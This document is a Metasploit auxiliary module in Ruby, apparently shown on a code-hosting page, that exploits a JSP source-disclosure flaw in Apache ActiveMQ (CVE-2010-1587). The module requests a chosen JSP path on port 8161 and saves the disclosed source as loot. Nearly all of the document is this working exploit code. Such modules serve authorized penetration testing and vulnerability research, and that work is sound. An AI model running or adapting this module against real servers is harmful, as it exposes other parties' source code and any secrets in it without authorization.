Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::Scanner
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Apache ActiveMQ JSP Files Source Disclosure',
14
      'Description'    => %q{
15
          This module exploits a source code disclosure in Apache ActiveMQ. The
16
        vulnerability is due to the Jetty's ResourceHandler handling of specially crafted
17
        URI's starting with //. It has been tested successfully on Apache ActiveMQ 5.3.1
18
        over Windows 2003 SP2 and Ubuntu 10.04.
19
      },
20
      'License'        => MSF_LICENSE,
21
      'Author'         =>
22
        [
23
          'Veerendra G.G', # Vulnerability discovery
24
          'juan vazquez' # Metasploit module
25
        ],
26
      'References'     =>
27
        [
28
          [ 'CVE', '2010-1587' ],
29
          [ 'OSVDB', '64020' ],
30
          [ 'BID', '39636' ],
31
          [ 'URL', 'https://issues.apache.org/jira/browse/AMQ-2700' ]
32
        ]
33
    ))
34

35
    register_options(
36
      [
37
        Opt::RPORT(8161),
38
        OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp'])
39
      ])
40
  end
41

42
  def run_host(ip)
43

44
    print_status("#{rhost}:#{rport} - Sending request...")
45
    uri = normalize_uri(target_uri.path)
46
    res = send_request_cgi({
47
      'uri'          => uri,
48
      'method'       => 'GET',
49
    })
50

51
    if res and res.code == 200
52
      contents = res.body
53
      fname = File.basename(datastore['TARGETURI'])
54
      path = store_loot(
55
        'apache.activemq',
56
        'text/plain',
57
        ip,
58
        contents,
59
        fname
60
      )
61
      print_status("#{rhost}:#{rport} - File saved in: #{path}")
62
    else
63
      print_error("#{rhost}:#{rport} - Failed to retrieve file")
64
      return
65
    end
66
  end
67
end
68

69